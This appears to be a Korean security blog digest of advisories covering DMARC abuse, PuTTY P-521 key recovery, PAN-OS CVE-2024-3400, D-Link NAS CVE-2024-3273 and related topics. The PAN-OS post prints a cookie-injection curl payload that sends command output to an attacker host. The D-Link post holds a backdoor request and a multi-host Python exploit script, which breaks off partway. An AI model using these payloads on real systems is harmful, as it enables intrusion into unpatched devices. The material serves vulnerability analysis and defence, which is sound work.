1. 개요 [1]

- 미국 국가안보국(NSA), 연방수사국(FBI), 국무부는 이메일 보안 프로토콜을 악용한 북한 해킹그룹 관련 보안 권고 발표
- 북한 해킹그룹은 신분을 가장하여 스피어피싱 캠페인을 수행

 

2. 주요내용

북한 해킹그룹은 이메일 보안 프로토콜 DMARC을 악용해 피싱 메일을 발송

 

- DMARC (Domain-based Message Authentication Reporting and Conformance) [2][3]
SPF와 DKIM을 사용해 메일의 인증 여부를 확인하고, 메일이 SPF와 DKIM 검사를 통과하지 못하면 DMARC 정책이 실행

> DNS TXT 레코드에 명시

※ DMARC 정책 : 의심스러운 메일을 처리하는 방법이 명시

 

> SPF와 DKIM을 기반으로 동작하기에 SPF와 DKIM을 먼저 설정해야 함

※ SPF (Sender Policy Framework) : 수신측 메일서버가 발신측 메일 발송 IP가 DNS에 등록된 IP가 맞는지 확인하여 스팸인지 아닌지 확인

※ DKIM (Domain Keys Identified Mail) : 수신측 메일서버가 발신측에서 보낸 전자서명과 DNS에 등록된 DKIM 공개키로 전자서명을 검증하여 스팸인지 아닌지 확인

 

- DMARC 레코드 다음과 같은 항목으로 구성 [4][5]

DMARC 레코드 형식 예시: v=DMARC1; p=none; aspf=r; adkim=r; rua=mailto:report@example.com
항목 설명 비고
v - DMARC의 버전을 설명하며, 반드시 가장 먼저 선언되어야 함 필수
p - 반드시 v 다음에 선언되어야 함
- 수신 서버에서 DMARC로 인증되지 않은 메일에 대한 처리 방법 명시
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
필수
sp - 하위 도메인에서 전송된 메일에 대한 정책
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
 
aspf - 메일 정보가 SPF 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
adkim - 메일 정보가 DKIM 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
rua - DMARC 처리 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
ruf - DMARC 처리 실패 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
pct - DMARC 정책을 적용할 이메일 비중
- 0 ~ 100까지 설정 가능하며 기본값은 100
 
fo - 실패 보고서(ruf)를 생성할 기준
> 0: SPF, DKIM 모두 실패 (기본값)
> 1: SPF, DKIM 둘 중 하나 실패
> s: SPF 실패
> d: DKIM 실패
 
rf - 실패 보고서(ruf) 형식에 대한 설정
- 값 afrf 고정
 
ri - 실패를 집계할 기간으로, 설정된 주기마다 rua 발송
- 기본값: 86400초
 

 

- 북한 공격자들은 "p=none" 설정의 약점을 공격에 악용

> DMARC 레코드 설정에 따르면 p=none 설정은 검증 실패 시 아무런 조치 없이 메일을 수신

[사진 1] p=none

 

- 또는 메일 헤더를 조작하거나 [사진 2], 메일 본문에 회신 메일을 명시하여 회신을 유도 [사진 3]

 

[사진 2] 메일 헤더 조작
[사진 3] 메일 본문 회신 메일 명시

 

- 따라서, 위협에 대응하기 위해 DMARC 보안 정책을 구현할 것을 권장

> "v=DMARC1; p=quarantine;" 또는 "v=DMARC1; p=reject;"로 설정을 업데이트

> rua, ruf 레코드를 사용해 통합 보고서를 수신하여 가시성 확보 및 잠재적 보안 침해 식별

> 단, DMARC 정책 적용으로 발송한 메일이 수신자에게 전달되지 않을 수 있으므로, 영향도 검증 필요

 

3. 참고

[1] https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3762915/nsa-highlights-mitigations-against-north-korean-actor-email-policy-exploitation/
[2] https://www.crinity.net/Newsletter/2019/06/Coffee_Break.html
[3] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[4] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[5] https://docs.nhncloud.com/ko/Notification/Email/ko/dmarc-record/
[6] https://www.dailysecu.com/news/articleView.html?idxno=155699

요약 - 공공 코드 리포지터리의 핵심 기능을 공격자들이 악용하기 시작
- 해당 공격 방법에 대처할 수 있는 방법이 전무
내용 - 깃허브 및 깃랩 코멘트들을 활용해 피싱 링크를 생성하기 시작
> 정상적인 오픈소스 소프트웨어와 연결된 링크처럼 보임
> 누구나 아무 프로젝트를 사칭할 수 있게 해줌
> 프로젝트의 주인이 쉽게 알아낼 수 없으며, 대처법이 없음
※ 과거 일부 공격자들 사이에 알려져 있었으며, 널리 사용되는 것을 발견해 알린 것

- 개발자들은 '코멘트' 기능을 이용해 기능 향상 및 버그와 관련한 제보를 받음
> 내용이 길 경우 문서 파일 또는 스크린 샷 등의 형태로 작성해 코멘트를 남길 수 있음
> 파일 형태로 코멘트를 남길 경우 해당 코멘트에는 자동으로 URL이 배정
> Ex) 깃랩의 프로젝트에 파일을 코멘트로 업로드한 경우 URL
> hxxp://gitlab.com/{프로젝트_그룹_이름}/{리포지터리_이름}/uploads/{파일_id}/{파일_이름}

- 코멘트 부분에 멀웨어를 업로드해 악성 URL 생성
> URL에 깃허브, 깃랩, 프로젝트명 등이 포함되어 육안으로 판단하기 어려움
> 해당 프로젝트의 운영자들이 코멘트를 하나하나 살피기 어려워 URL을 전량 검사하기 어려움
> 해당 코멘트를 지우더라도 생성됐던 URL은 여전히 작동하며, 업로드 된 파일 또한 코멘트에서만 지워지고 CDN에는 그대로 남아있음
> 파일을 업로드한 후 코멘트를 등록하지 않아도 파일이 업로드되는 순간 URL이 생성(파일 업로드 기능만 활성화시키는 것으로 URL 생성 가능)

- 이런 코멘트의 특성으로 인해 URL을 매우 신뢰할 만한 형태로 생성 가능
> 사칭하는 프로젝트의 신뢰도를 훼손
> 대응할 방법이 사실상 전무
기타 - 프로젝트 이름이 포함된 URL을 악성인지 아닌지 판단하는 것은 불가능
> 알고 있는 이름들이 URL에 있다고 해서 믿는 것은 지양
> 보다 확실한 방법이 필요

 

보안뉴스

 

깃허브와 깃랩 사용하면 사실상 대처법이 전무한 피싱 공격 완성

해커들이 공개되지 않은 깃허브 및 깃랩 코멘트들을 활용해 피싱 링크를 만들어내기 시작했다. 이렇게 하니 정상적인 오픈소스 소프트웨어와 연결된 링크처럼 보이게 됐다. 매우 영리한 기법으

www.boannews.com

 

요약 - 쿠키, 적합한 서비스 제공하지만 외부 유출 후 범죄자 악용 시 부작용 많아
- 다크 웹에서 거래된 쿠키 540억 중 약 1억 8600만 개의 쿠키는 한국 것
내용 - 쿠키
> 웹사이트와 사용자의 상호 작용에 관한 데이터가 포함된 작은 텍스트 파일
> 해당 파일에 담긴 정보는 인터넷 사용자가 동일한 웹사이트를 방문할 때마다 읽히며 수시로 새로운 정보로 변경
> 사용자가 인터넷 이용 상태를 파악할 수 있게 도와주며 이를 기반으로 사용자에게 적합한 서비스 제공을 가능하게 해줌

- 활성 쿠키와 비활성 쿠키
> 활성 쿠키: 현재 사용자의 세션에서 사용되며 로그인 상태를 유지하거나 세션 정보를 추적하는 데 사용
> 비활성 쿠키: 이전 세션에서 생성되었거나 현재 필요하지 않은 쿠키로 사용자의 활동을 추적하는 데 사용하지 않음
> 그러나, 비활성 쿠키에도 개인 정보가 포함되어 있을 수 있어 해커가 악용할 수 있음

- 광고 및 타겟마케팅에 대한 수요 급증으로 쿠키 기술 응용 또는 악용 현상 증가
> 해커들은 불법 경로로 쿠키를 거래해 범죄에 악용

- 노드VPN 조사 결과
> 쿠키를 빼내기 위해 사용된 악성 소프트웨어는 12개
> 해당 방식으로 국내에서 유출된 쿠키는 약 1억 8600만개 (활성쿠키 33%)
> 대한민국은 전 세계 30위, 동아시아에서는 1위를 기록
기타 - 쿠키 유출로 인한 피해를 완벽히 방어하는 것은 불가능
> 자주 방문하는 사이트에서 주기적으로 쿠키 삭제 권장
> 믿을 수 있는 보안 솔루션 활용 중요

 

보안뉴스

 

“다크 웹에서 거래된 쿠키 540억 건 중, 한국이 동아시아 1위” - 데일리시큐

글로벌 인터넷 보안 업체 노드VPN의 최신 연구 결과, 다크 웹에서 거래된 쿠키 540억 중 약 1억 8600만 개의 쿠키는 한국 것으로 밝혀졌다.인터넷 쿠키, 웹 쿠키 또는 HTTP 쿠키라고도 불리는 쿠키는

www.dailysecu.com

 

달콤한 감시자: 인터넷 쿠키의 숨겨진 위험성

도난당한 인터넷 쿠키의 예상치 못한 위험에 대해 알아보세요. 계정, 자산, 개인 데이터가 위험에 처할 수 있습니다. 어떻게 보호해야 하는지 알고 계신가요?

nordvpn.com

 

1.PuTTY [1]

- SSH, 텔넷, rlogin, raw TCP를 위한 클라이언트로 동작하는 자유 및 오픈 소스 단말 에뮬레이터 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-31497 [2]

 

- 취약한 버전의 PuTTY에서 발생하는 비밀 키 복구 취약점

> 공격자는 비밀 키를 복구 및 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인할 수 있음

영향받는 버전: PuTTY 0.68 ~ 0.80

 

2.1 상세내용 [3]

- PuTTY 0.68 ~ 0.80까지 모든 버전에는 NIST P521 커브를 사용하는 ECDSA(타원 곡선 디지털 서명 알고리즘) 개인 키에서 서명을 생성하는 코드에 심각한 취약점이 존재

> PuTTY 또는 Pageant가 SSH 서버에 인증할 때 키에서 서명을 생성할 때 발생

 

2.1.1 취약점의 영향

- 사용자의 비밀 키가 노출

> 공격자가 다수의 서명된 메시지와 공개 키를 가지고 있으면 개인 키를 복구하는데 충분한 정보를 가지게 됨

> 이를 통해 사용자인 것처럼 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인이 가능해 짐

> 서명을 얻기 위해 키를 사용하여 인증하는 서버를 침해하거나, 키를 보유한 Pageant 사본에 잠시 액세스하면 됨

 

2.1.2 영향받는 키 타입

- 영향을 받는 유일한 키 타입521bit ECDSA

① Windows PuTTYgen에서 'Key fingerprint' 상자의 시작 부분에 ecdsa-sha2-nistp521이 표시되거나
② Windows Pageant에 로드될 때 'NIST p521'로 설명되거나
③ SSH 프로토콜 또는 키 파일에서 ecdsa-sha2-nistp521로 시작하는 ID를 가진 키

> 다른 크기의 ECDSA와 다른 키 알고리즘은 영향 받지 않음 (특히 Ed25519는 영향을 받지 않음)

 

2.1.3 오류 상세 내용

- 모든 DSA(디지털 서명 알고리즘) 서명 체계는 서명 중 무작위 값을 생성해야 함

> nonce(한 번만 사용되는 값) 또는 문자 k로 알려짐
> 공격자가 사용된 값을 추측 하거나 동일한 값으로 생성된 두 개의 서명을 찾을 수 있다면 즉시 개인키 복구가 가능

※ 즉, 무작위성이 없는 시스템에서 DSA 서명을 생성하는 것은 매우 위험

 

- PuTTY는 Windows에서 개발되었기 때문에 난수 생성기가 전혀 없었음

> 무작위 값이 아닌 결정론적 방법을 사용하여 k를 생성

> 해시 입력에 서명할 메시지와 개인 키를 모두 포함하는 보안 해시를 계산하는 것이 핵심 기법 (RFC 6979)

> PuTTY는 2001년부터 동일한 작업을 수행했고 해당 RFC는 2013년 문서화되어 PuTTY는 해당 사양을 따르지 않음

 

2.1.4 취약점 발생 원인

- PuTTY의 기술은 SHA-512 해시를 만든 후 이를 mod q로 줄이는 방식으로 작동

> P521(=영향받는 키 타입)을 제외한 모든 경우에 512bit 숫자를 mod q로 줄임으로써 발생하는 편향은 무시가능

> 그러나 P521의 경우 q가 521bit(즉, 512bit 이상)이므로 512bit 숫자를 mod q로 줄이는 것은 아무 의미가 없음

> 상위 9bit 값이 항상 0인 값을 얻게 되며, 이러한 편향으로 인해 키 복구 공격이 가능해 짐

※ 필요한 서명의 개수는 약 60개

 

2.1.5 취약점 수정 내용 및 대응 방안

- 수정 내역: 모든 DSA 및 ECDSA 키 유형에 대해 RFC 6979를 따르도록 변경

> 이전 시스템 완전 폐기

> Ed25519와 같은 EdDSA 키는 이미 다른 시스템을 사용하고 있어 변경되지 않음

 

- 대응 방안: 영향받는 유형의 키가 있는 경우 즉시 폐기

> 모든 OpenSSH authorized_keys 파일과 다른 SSH 서버의 동일한 파일에서 이전 공개키를 제거

> 손상된 키의 서명이 더 이상 가치가 없도록한 후 새 키 쌍을 생성해 교체

 

3. 참고

[1] https://www.putty.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31497
[3] https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html
[4] https://www.boannews.com/media/view.asp?idx=128945&page=6&kind=1

요약 - ‘코드 서명’은 사용자들로 하여금 제품을 구성하고 있는 코드를 신뢰할 수 있도록 함
- ‘코드 서명’을 악용한 공격이 대비하기 위해 안전한 코드 서명을 유지하는 것이 중요
내용 - 코드 서명
> 소프트웨어나 펌웨어, 애플리케이션들에 서명을 하는 것
> 서명 덕분에 사용자들은 그 소프트웨어나 펌웨어, 애플리케이션을 구성하고 있는 코드가 신뢰할 수 있는것으로 인식
> 이러한 특성으로, 코드 서명을 대상으로한 공격이 발생

- 코드 서명에 사용되는 비밀 키는 상당히 주의해서 보호해야 함
> 키를 보호하며 소프트웨어를 개발하는 과정은 여러 귀찮음이 수반
> 개발자들은 편리성을 위해 비밀 키를 개발 환경과 계정 등에 저장해 사용
> 이로인해 자주 도난 및 유출되는 상황이 발생

- 2020 솔라윈즈 사태 이후 CA브라우저포럼(Certificate Authority/Browser Forum)는 ‘기본 실천 수칙’을 발표
> 코드 서명 인증서들을 지키기 위함
> 하드웨어 보안 모듈(HSM)이나 암호화 키를 안전히 보관하는 장비들을 필수로 사용해야 한다는 수칙이 생김
※ HSM 가장 높은 수위의 보호 장치이나, 비용 상승, 높은 유지 보수 난이도, 시스템 복잡도 증가 등의 단점

- 클라우드로 이전이 시작되며 보안의 중요성이 더욱 대두
> 안전한 코드 서명과 관련된 새로운 해결책 제시
> 편리성과 속도 뿐만아니라 중앙에서 비밀 키를 관리하는 것이 가능해짐

- 통합된 코드 서명 절차
> 코드 서명 프로세스는 키 보안, 코드 서명 도구, 개발 워크플로우로 구성
> 키의 안전한 보호 및 활용, 개발 과정에도 적절한 활용이 되어야 이상적
> 이를 위해 지켜야 할 실천사항

① 키 보호
> 코드 서명에 사용되는 키들은 안전한 위치에 저장
> HSM들은 내부에 저장된 비밀 키들이 엑스포트 되지 않도록 하고, 허가되지 않은 조작 방지

② 접근 제어
> 비밀 키에 접근하려는 시도를 철저하게 가려내고 제어할 수 있어야 함 (역할에 따라 키 접근 여부 결정)
> 이를 위해서는 먼저 승인 작업의 워크플로우를 규정할 필요

③ 비밀 키 순환
> 서명 키는 주기적으로 교체
> 여러 팀들이 하나의 개발 플랫폼이나 환경을 공유한다면, 비밀 키를 따로 보관하여 활용 필요

④ 타임스탬프
> 코드 서명에 사용되는 인증서들은 유효기간을 지니며(1~3년) 인증서 유효기간들이 점점 줄어드는 추세
> 그렇기에 인증서가 제대로 된 것인지 아닌지 타임스탬프를 찍는 것이 중요

⑤ 코드 무결성 확인
> 전체 코드 점검을 한 후에 서명을 하는 순서가 반드시 지켜지도록 하는 게 중요
> 빌드 서버와 소스코드 리포지터리를 비교해 확인한 후 최종 빌드를 공개하는 것을 추천
> 모든 개발자 서명들도 하나하나 확인하는 것이 좋음

⑥ 관리의 중앙화
> 코드 서명 과정을 중앙에서 통제하도록 하는 게 가시성 확보나 빌드 신뢰도 향상 등의 측면에서 유리

⑦ 정책의 강력한 시행
> 코드 서명 절차를 수립했다면, 그것을 조직 전체의 규정으로 만들어 시행
> 승인, 키 만료, CA 유형, 키 용량, 서명 알고리즘 등을 세부적으로 지정해 시행
> 정책 시행이 자동으로 확인되도록 자동화 기술을 도입하는 것도 중요

⑧ 코드 서명의 간소화
> CI/CD 도구들을 활용해 코드 서명을 자동화
> 개발자들이 보안에 크게 신경 쓰지 않아야 보안이 유지될 수 있음
기타 -

 

보안뉴스

 

코드 서명 절차를 안전하게 유지시키기 위한 8가지 보안 전략

원격 접근 솔루션인 애니데스크(AnyDesk)에서 최근 침해 사고가 발생했다. 알고 봤더니 코드 서명 절차에 문제가 있었고, 거기서부터 공격이 시작된 것이었다. 이 사건에 관심을 기울였던 모든 사

www.boannews.com

 

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400

 

- Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생하는 Command Injection Zero-Day 취약점 (CVSS: 10.0)

> 입력값에 대한 유효성 검증 과정이 잘못 구현되어 있거나 누락되어 발생하는 취약점으로 판단됨

> 인증되지 않은 공격자가 방화벽에서 root 권한을 가진 임의 코드를 실행할 수 있음

> 현재 UTA0218 공격 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점

영향받는 버전
- PAN-OS 11.1 ~ 11.1.2-h3 이전 버전
- PAN-OS 11.0 ~ 11.0.4-h1 이전 버전
- PAN-OS 10.2 ~ 10.2.9-h1 이전 버전

 

2.1 주요내용 [2]

[사진 2] CVE-2024-3400 타임라인

 

- 보안 업체 Volexity는 NSM(Network Security Monitoring) 고객의 방화벽에서 의심스러운 네트워크 트래픽 경고 확인

Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 제로데이 취약점을 악용

> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인

> 해당 백도어를 통해 장치에 추가 명령을 실행

UPSTYLE 백도어 - update[.]py를 사용해 해당 백도어를 유포
> /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포
> 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음

- 동작 과정
① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송
② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색
③ 특정 패턴(명령)을 디코딩 및 실행
④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성
⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송
⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구

※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음

[사진 3] UPSTYLE 백도어 동작 과정

 

- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드

> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지

> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인

> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취

구분 설명
patch - update.cron 파일 존재 여부 확인
> 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정
> policy 파일을 다운로드하고, 60초마다 bash를 통해 실행

- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성
> C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1 - python으로 작성된 on-line 리버스 셸
policy v2 - 공격 명령 실행 결과가 포함된 CSS 파일을 제거
- 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장
> 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3 - 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4 - GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5 - v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6 - SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함

 

2.2 취약점 분석 [3]

[사진 4] 취약한 함수

 

- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행

> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨

[사진 5] SESSID 값 저장

 

- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장

> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장

> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음

curl hxxps://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

 

[사진 6] Exploit 결과

 

- 공격자는 2가지 버그를 결합해 취약한 장치에서 명령을 실행 [4]

> 1단계: SESSID에 셸 명령을 포함해 GlobalProtect에 전송하여 명령이 포함된 파일 생성

> 2단계: cron 작업을 통해 공격자가 제공한 명령이 실행

[사진 7] Expoloit 요약

2.3 PoC

- 깃허브에서 등록된 PoC는 404 Error 반환

> 일부 확인되는 PoC에서는 POST 요청의 데이터에 xml 포맷으로 명령어 전달 [5]

def exploit_firewall(target_ip, payload, root_ca=None):
    url = f"https://{target_ip}/api/"

    data = f"""<?xml version="1.0" encoding="UTF-8"?>
    <request>
        <op cmd="test" />
        <cmd code="ping">{payload}</cmd>
    </request>"""

    headers = {
        "User-Agent": "PAN-OS-Exploit",
        "Content-Type": "application/xml"
    }

    try:
        if root_ca:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
        else:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [6]

> main_isValidSessionId()를 추가하여 SESSID 값을 추출하며 유효한 UUID 값인지 확인

> [사진 4] pansys() 호출시 shell 변수 값을 False로 수정

제품명 영향받는 버전 해결 버전
PAN-OS 11.1 ~ 11.1.2-h3 이전 11.1.2-h3 이상
11.0 ~ 11.0.4-h1 이전 11.0.4-h1 이상
10.2 ~ 10.2.9-h1 이전 10.2.9-h1 이상

 

- 장치 침해 징후 식별

구분 설명
네트워크 트래픽
모니터링
- wget 명령을 이용한 특정 IP, URL에 대한 요청
- GlobalProtect 어플라이언스에서 시작된 내부 여러 시스템에 대한 SMB/RDP 연결
- Chrome 또는 Edge 데이터 또는 ntds[.]dit 파일의 SMB 파일 전송
방화벽 로그 분석 - Palo Alto Networks와 Volexity는 분석을 위한 기술 지원 제공
휘발성 메모리 수집

 

- 관련 침해지표 보안 장비 등록 [7][8]

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400
[2] https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

[3] https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

[4] https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/

[5] https://hackyboiz.github.io/2024/04/14/j0ker/2024-04-13/
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71402&menuNo=205020

[7] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/rules.yar

[8] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv

[9] https://www.boannews.com/media/view.asp?idx=128841&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=128833&page=1&kind=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=155122

요약 - 이번 달 MITRE는 ATT&CK 프레임워크에 두 가지 테크닉을 추가할 예정
- 북한이 즐겨 사용하고 있는 공격 전략인 TCC 악용과 팬텀 DLL 하이재킹
내용 - 북한의 해커들은 두 가지 공격 기법을 활용
> 맥OS와 윈도 환경에 불법적으로 접근 및 권한 탈취
> 이후 피해자를 염탐하여 정보 수집 등 필요한 악성 행위 실시

① 맥OS 대상: TCC 악용
- TCC는 일종의 데이터베이스 
> 사용자 층위의 데이터베이스: ‘전체 디스크 접근 권한(FDA)’ 혹은 그에 준하는 권한을 가지고 있어야 TCC에 접근가능
> 시스템 층위의 데이터베이스: ‘시스템 무결성 보호(SIP)’라는 기능을 통해 제어가 가능
> TCC에 접근하려면 FDA나 SIP 혹은 그에 상당하는 높은 수준의 권한을 가지고 있어야 한다는 뜻

- 그러나, 권한을 무시하고 접근할 수 있게 해 주는 방법들이 존재
> SIP의 경우 공격자들이 피해자의 시스템에 침투하여 다른 공격 기법을 통해 비활성화시킬 수 있음
> 스스로에게 FDA 권한을 줄 수도 있음

- TCC를 겨냥한 멀웨어들이 이미 다크웹에 여럿 존재
> 가장 중요한 건 SIP를 항상 활성화시켜두는 것이라고 강조

② 윈도우 대상: 팬텀 DLL 하이재킹 (Phantom DLL Hijacking)
- 윈도는 실존하지 않는 DLL 파일들을 자꾸만 참조하는 이상한 오류 존재
> 프로젝트를 위해 생성한 DLL을 프로젝트 종료 후 DLL을 전부 삭제하지 못하는 등의 경우 발생
> 윈도는 참조하는데 정작 존재하지는 않는 DLL 파일들을 ‘팬텀 DLL 파일(유령 DLL 파일)’이라고 부름

- 공격자 악용 방식
> 자신들의 목적에 맞는 악성 DLL 파일을 임의로 생성
> 윈도가 참조하고 있는 유령 DLL 파일과 똑같은 이름으로 설정
> 그 DLL 파일과 같은 위치에 옮겨두면 OS가 알아서 로딩
> 윈도가 참조하는 것이므로 보안 경보 울리지 않음

- MS가 직접 윈도의 ‘유령 DLL 참조 현상’을 제거해야 한다고 강조
> 그 전까지 윈도 사용자들은 모니터링을 철저히 수행할 필요
> 애플리케이션 제어도 보다 능동적으로 수행할 필요
> 원격에서 DLL을 로딩시키는 것 또한 차단할 필요
기타 - 라자루스 멀웨어 전략
> TCC 데이터베이스의 접근 테이블을 덤핑하는 기능과 SIP 비활성화 기능 포함
> IKEEXT와 같이 함께 팬텀 DLL 하이재킹 기능 구현: IKEEXT 실행 후 존재하지 않는 DLL 로딩 시도

 

보안뉴스

 

북한이 최근 사용하는 공격 전략, 조만간 마이터 서브테크닉에 추가된다

이번 달 마이터(MITRE)는 어택(ATT&CK) 프레임워크에 두 가지 테크닉을 추가할 예정이다. 이 두 테크닉 모두 북한의 해킹 조직들이 이미 즐겨 사용하고 있는 것으로, 하나는 애플 맥OS 내에서 애플리

www.boannews.com

 

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3273

 

- 취약한 버전의 D-Link 사의 여러 NAS 제품들에서 발생하는 임의 명령 주입 공격 취약점

영향받는 버전
- DNS-320L 버전 1.11, 버전 1.03.0904.2013, 버전 1.01.0702.2013
- DNS-325 버전 1.01
- DNS-327L 버전 1.09, 버전 1.00.0409.2013
- DNS-340L 버전 1.08

 

[사진 2] 인터넷에 노출된 취약한 D-Link NAS 장치 [2]

 

2. 취약점 상세 [2]

- 취약점은 /cgi-bin/nas_sharing.cgi 엔드포인트에 존재

> /cgi-bin/nas_sharing.cgi에 하드코딩된 자격 증명을 악용해 권한 없는 사용자가 시스템에 접근하는 백도어로 사용 

> 해당 엔드포인트에 user, passwd 매개변수와 system 매개변수를 설정해 GET 요청을 전송

① 백도어: 하드코딩된 user, passwd 매개변수를 이용

② 명령주입: system 매개변수를 이용하며, base64 인코딩을 적용해 전달

GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<BASE64_ENCODED_COMMAND_TO_BE_EXECUTED>

 

[사진 3] Exploit 결과

 

3. PoC [3]

- cgi-bin/nas_sharing.cgi URL로 GET 요청을 전송

> user 매개변수의 값을 messagebus, passwd 매개변수의 값을 빈 값으로 설정

> system 매개변수의 값을 base64로 인코딩하여 전송

import requests
import base64
import threading

# Utility function for Base64 encoding
def encode_base64(command):
    return base64.b64encode(command.encode()).decode()

# Watermark banner
print("""
┏┓┓┏┏┓  ┏┓┏┓┏┓┏┓  ┏┓┏┓━┓┏┓
┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━ ┫┏┛ ┃ ┫
┗┛┗┛┗┛  ┗━┗┛┗━┗╋  ┗┛┗━ ╹┗┛
""")

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 YaBrowser/19.6.1.153 Yowser/2.5 Safari/537.36",
    "Accept-Encoding": "identity"
}

# Use a session for requests
session = requests.Session()

# Lock for file writing
file_write_lock = threading.Lock()

def execute_command(host, command=None, print_response=True):
    if command is None:
        command = 'id'
    encoded_command = encode_base64(command)
    url = f"http://{host}/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system={encoded_command}"
    
    try:
        response = session.get(url, headers=headers, timeout=10)
        if 'root' in response.text:
            with file_write_lock:
                with open('vulnerables.txt', 'a') as f:
                    f.write(host + '\n')
            print(f"Host {host} is vulnerable.")
        elif print_response:
            print(f"Response from {host}:")
            print(response.text)
    except requests.Timeout:
        print(f"Request timed out for host {host}.")
    except requests.ConnectionError as e:
        print(f"Connection error for host {host}.")
    except Exception as e:
        print(f"An error occurred for host {host}.")

def execute_command_multiple(file_path, export):
    with open(file_path, 'r') as file:
        threads = []
        for line in file:
            host = line.strip().replace("\ufeff", "")
            thread = threading.Thread(target=execute_command, args=(host, None, False))
            thread.start()
            threads.append(thread)

        # Wait for all threads to complete
        for thread in threads:
            thread.join()

def main():
    option = input("Choose an option (1: Single Host, 2: Multiple Hosts): ")
    
    if option == '1':
        host = input("Enter the host: ")
        command = input("Enter the command to run: ")
        execute_command(host, command)
    elif option == '2':
